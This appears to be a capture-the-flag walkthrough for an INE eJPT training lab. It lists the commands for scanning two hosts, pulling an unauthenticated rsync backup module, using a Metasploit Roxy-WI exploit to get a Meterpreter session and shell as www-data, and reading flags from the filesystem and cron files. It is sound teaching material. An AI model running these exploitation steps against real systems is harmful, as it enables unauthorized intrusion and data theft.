Enumerate an exposed rsync service on target1 and exploit a Roxy-WI web app on target2 to capture four flags.
GUI access to a Kali machine is provided. Two targets: target1.ine.local (192.218.99.3) and target2.ine.local (192.59.189.4). The target2 IP can change after a lab reset — re-identify it with Nmap before continuing.
target2.FLAG#_<MD5> — submit only the hash, without the prefix.All work is performed against an authorized INE training lab for eJPT exam preparation.
Scan the target, then list the rsync modules exposed without authentication:
cat /etc/hosts
nmap -sV -Pn -A -sC -p- 192.218.99.3
rsync rsync://target1.ine.local/
The backupwscohen module is an exposed backup directory. Pull it down and read the files:
rsync -av rsync://192.218.99.3/backupwscohen ./backupwscohen
cd backupwscohen
ls
cat TPSData.txt
Scan target2, then use Metasploit's Roxy-WI module to land a Meterpreter session:
nmap -sV -Pn -A -sC -p- 192.59.189.4
msfconsole -q
search Roxy-WI
use 0
show options
set LHOST 192.59.189.2
set RHOSTS target2.ine.local
set TARGETURI /
exploit
Interact with the session, drop to a shell, and upgrade to an interactive shell as www-data:
getuid
sysinfo
shell
id
whoami
/bin/bash -i
cd /
cat flag.txt
Inspect the system crontab and cron directories; the flag lives in a cron definition file:
cat /etc/crontab
ls -la /etc/cron.d/
cat /etc/cron.d/www-data-cron
| Flag | Target | Technique |
|---|---|---|
| 1 | target1 | Nmap + rsync module listing |
| 2 | target1 | rsync -av download of backupwscohen |
| 3 | target2 | Roxy-WI Metasploit exploit → Meterpreter |
| 4 | target2 | Cron job inspection (/etc/cron.d) |
/bin/bash -i./etc/crontab, /etc/cron.d/) are a classic place to find loot and privesc paths.